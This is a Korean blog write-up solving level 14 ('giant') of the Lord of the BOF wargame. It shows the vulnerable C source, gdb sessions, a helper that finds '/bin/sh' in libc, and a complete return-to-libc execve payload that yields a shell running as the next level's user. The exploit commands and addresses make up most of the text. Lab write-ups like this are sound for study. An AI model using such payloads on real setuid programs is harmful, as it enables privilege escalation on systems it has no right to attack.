BOF 원정대 – Level 14 (giant)

문제 소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
 char buffer[40];
 FILE *fp;
 char *lib_addr, *execve_offset, *execve_addr;
 char *ret;

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 // gain address of execve
 fp = popen(/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}', r);
 fgets(buffer, 255, fp);
 sscanf(buffer, (%x), &lib_addr);
 fclose(fp);

 fp = popen(/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}', r);
 fgets(buffer, 255, fp);
 sscanf(buffer, %x, &execve_offset);
 fclose(fp);

 execve_addr = lib_addr + (int)execve_offset;
 // end

 memcpy(&ret, &(argv[1][44]), 4);
 if(ret != execve_addr)
 {
 printf(You must use execve!\n);
 exit(0);
 }

 strcpy(buffer, argv[1]); 
 printf(%s\n, buffer);
}

코드를 보면 뭔가 복잡해 보이지만 실제로 아주 단순하다. 우선 소스를 찬찬히 살펴보면 어떤 명령어를 통해 execve() 함수 주소를 구하고 그 주소가 맞는지 확인하는 부분이 존재한다.

그럼 그 해당 주소를 어떻게 찾을 수 있을까? 위 소스에서 보면 두개의 명령어로 나온 결과를 더함을 알 수 있다. 따라서 아래와 같이 주소를 구할 수 있다.

[bugbear@localhost bugbear]$ /usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}' 
ldd: /home/giant/assassin: No such file or directory
[bugbear@localhost bugbear]$ /usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}' 
(0x40018000)
[bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'
00091d48
[bugbear@localhost bugbear]$ python -c print hex(int(0x40018000) + int(0x91d48))
0x400a9d48

이와 같이 /home/giant/assassin 의 권한이 없으므로 권한이 있는 /home/bugbear/giant 파일을 이용하여 주소를 구할수가 있다. 그럼 이제 주소를 구하였으니 공격을 해보도록 하자. 우선 주소가 맞는지 확인을 해보도록 하자.

[bugbear@localhost bugbear]$ ./giant `python -c print 'A'*44 + '\x48\x9d\x0a\x40'`
You must use execve!
[bugbear@localhost bugbear]$ ./giant `python -c print 'A'*44 + '\x48\x9d\x0a\x40'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

 Segmentation fault
[bugbear@localhost bugbear]$ 

처음 공격 시 공격이 정상적으로 되지 않는 이유는 \x0a 때문이므로 양쪽에 따옴표를 붙여 정상적으로 값을 넣을 수 있도록 하면 execve() 함수 체크 부분이 통과됨을 알 수 있다.

이제 지금부터는 RTL 기법을 이용한 공격이다. 단, execve() 함수를 이용하여야 한다는게 제약 조건이다. 우선 exevce() 함수의 원형을 살펴보자.

#include int execve(const char *filename, char* const argv[], char *const envp[]);

따라서 우리는 아래와 같이 PAYLOAD를 구성해볼 수 있다.

[A, 44 Byte] [exevce() 함수 주소, 0x400a9d48] [BBBB] ['/bin/sh' 주소] [argv 주소의 포인터] [envp 주소의 포인터]

/bin/sh 를 넣으면 이후 argv와 envp는 크게 의미가 없으므로 널값으로 채우도록 하자. 우선 '/bin/sh' 주소를 확인해보도록 하자. '/bin/sh' 주소는 환경변수에 등록하여도 되지만 주소값이 변경될 수 있으므로 변하지 않는 system() 함수 내의 문자열을 확인하여 이용하도록 하자.

[bugbear@localhost bugbear]$ gdb giant_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/giant_tmp 

Breakpoint 1, 0x8048566 in main ()
(gdb) x/x system
0x40058ae0 <__libc_system>: 0x81e58955
(gdb) q
The program is running. Exit anyway? (y or n) y
[bugbear@localhost bugbear]$ cat search.c 
#include<stdio.h>
#include<stdlib.h>
int main(){
 char *ptr = 0x40058ae0;

 while(1){
 if( (strncmp(ptr,/bin/sh,7))==0){
 printf(%p : %s\n,ptr,ptr);
 return 0;
 }
 ptr++;
 }
 return 0;
}
[bugbear@localhost bugbear]$ gcc -o search search.c 
search.c: In function `main':
search.c:4: warning: initialization makes pointer from integer without a cast
[bugbear@localhost bugbear]$ ./search 
0x400fbff9 : /bin/sh
[bugbear@localhost bugbear]$ </stdlib.h></stdio.h></__libc_system>

이렇게 위와같이 '/bin/sh' 주소는 0x400fbff9 이다. 이제 NULL 값에 대한 주소를 확인해 보도록 하자. NULL 값은 스택의 가장 마지막에 있는 값을 이용할 것이다.

[bugbear@localhost bugbear]$ gdb giant_tmp 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/giant_tmp 

Breakpoint 1, 0x8048566 in main ()
(gdb) x/32wx $esp
0xbffffadc: 0x40013ed0 0x08048184 0x08049814 0x080482db
0xbffffaec: 0x40021ca0 0xbffffb18 0x4000a970 0x400f855b
0xbffffafc: 0x08049808 0x4000ae60 0xbffffb64 0xbffffb18
0xbffffb0c: 0x0804854b 0x080497f4 0x08049808 0xbffffb38
0xbffffb1c: 0x400309cb 0x00000001 0xbffffb64 0xbffffb6c
0xbffffb2c: 0x40013868 0x00000001 0x080484b0 0x00000000
0xbffffb3c: 0x080484d1 0x08048560 0x00000001 0xbffffb64
0xbffffb4c: 0x080483b4 0x080486bc 0x4000ae60 0xbffffb5c
(gdb) 
.
.
[생략]
.
.
(gdb) 
0xbfffffdc: 0x2f726165 0x006e6962 0x6d6f682f 0x75622f65
0xbfffffec: 0x61656267 0x69672f72 0x5f746e61 0x00706d74
0xbffffffc: 0x00000000 Cannot access memory at address 0xc0000000

NULL 값의 주소는 0xbffffffc 이다. 이제 찾아야 할 값을 다 구하였다. 이제 마지막으로 argv와 envp에 대한 주소 포인터만 지정해 주면 된다. 이것은 널값이 위치한 주소로 포인터를 지정하면 되므로 0xbffffffc 값을 스택상에 써 놓고 해당 주소값을 이용하면 될 것이다. 스택에 쓰는 위치는 이전 문제에서와 같이 파일명을 이용할 것이다. 한번 확인해 보도록 하자.

[bugbear@localhost bugbear]$ ln -s giant_tmp `python -c print '\xfc\xff\xff\xbf'`
[bugbear@localhost bugbear]$ gdb `python -c print '\xfc\xff\xff\xbf'` 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/ 

Breakpoint 1, 0x8048566 in main ()
(gdb) x/32wx $esp
0xbffffadc: 0x40013ed0 0x08048184 0x08049814 0x080482db
0xbffffaec: 0x40021ca0 0xbffffb18 0x4000a970 0x400f855b
0xbffffafc: 0x08049808 0x4000ae60 0xbffffb64 0xbffffb18
0xbffffb0c: 0x0804854b 0x080497f4 0x08049808 0xbffffb38
0xbffffb1c: 0x400309cb 0x00000001 0xbffffb64 0xbffffb6c
0xbffffb2c: 0x40013868 0x00000001 0x080484b0 0x00000000
0xbffffb3c: 0x080484d1 0x08048560 0x00000001 0xbffffb64
0xbffffb4c: 0x080483b4 0x080486bc 0x4000ae60 0xbffffb5c
(gdb) 
.
.
[생략]
.
.
(gdb) 
0xbfffffdc: 0x6775622f 0x72616562 0x6e69622f 0x6f682f00
0xbfffffec: 0x622f656d 0x65626775 0xfc2f7261 0x00bfffff
0xbffffffc: 0x00000000 Cannot access memory at address 0xc0000000
(gdb) 
0xc0000004: Cannot access memory at address 0xc0000004
(gdb) 
0xc0000008: Cannot access memory at address 0xc0000008
(gdb) x/32wx 0xbffffff7
0xbffffff7: 0xbffffffc 0x00000000 Cannot access memory at address 0xbfffffff
(gdb)

0xbffffff7 주소에 우리가 심볼릭링크 파일명으로 지정한 NULL 주소가 위치한 0xbffffffc 값이 나옴을 확인하였다. 이제 인자에 필요한 주소가 모두 확보되었으니 PAYLOAD를 작성해 보도록 하자.

[A, 44 Byte] [exevce() 함수 주소, 0x400a9d48] [BBBB] ['/bin/sh' 주소, 0x400fbff9] [argv 주소의 포인터, 0xbffffff7] [envp 주소의 포인터, 0xbffffff7]

[A, 44 Byte] [\x48\x9d\x0a\x40] [BBBB] [\xf9\xbf\x0f\x40] [\xf7\xff\xff\xbf] [\xf7\xff\xff\xbf]

[bugbear@localhost bugbear]$ ln -s giant `python -c print '\xfc\xff\xff\xbf'` 
[bugbear@localhost bugbear]$ ./`python -c print '\xfc\xff\xff\xbf'` `python -c print 'A'*44 + '\x48\x9d\x0a\x40' + 'BBBB' + '\xf9\xbf\x0f\x40' + '\xf7\xff\xff\xbf'*2` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHBBBB

 bash: /home/bugbear/.bashrc: Permission denied
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
bash$ 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다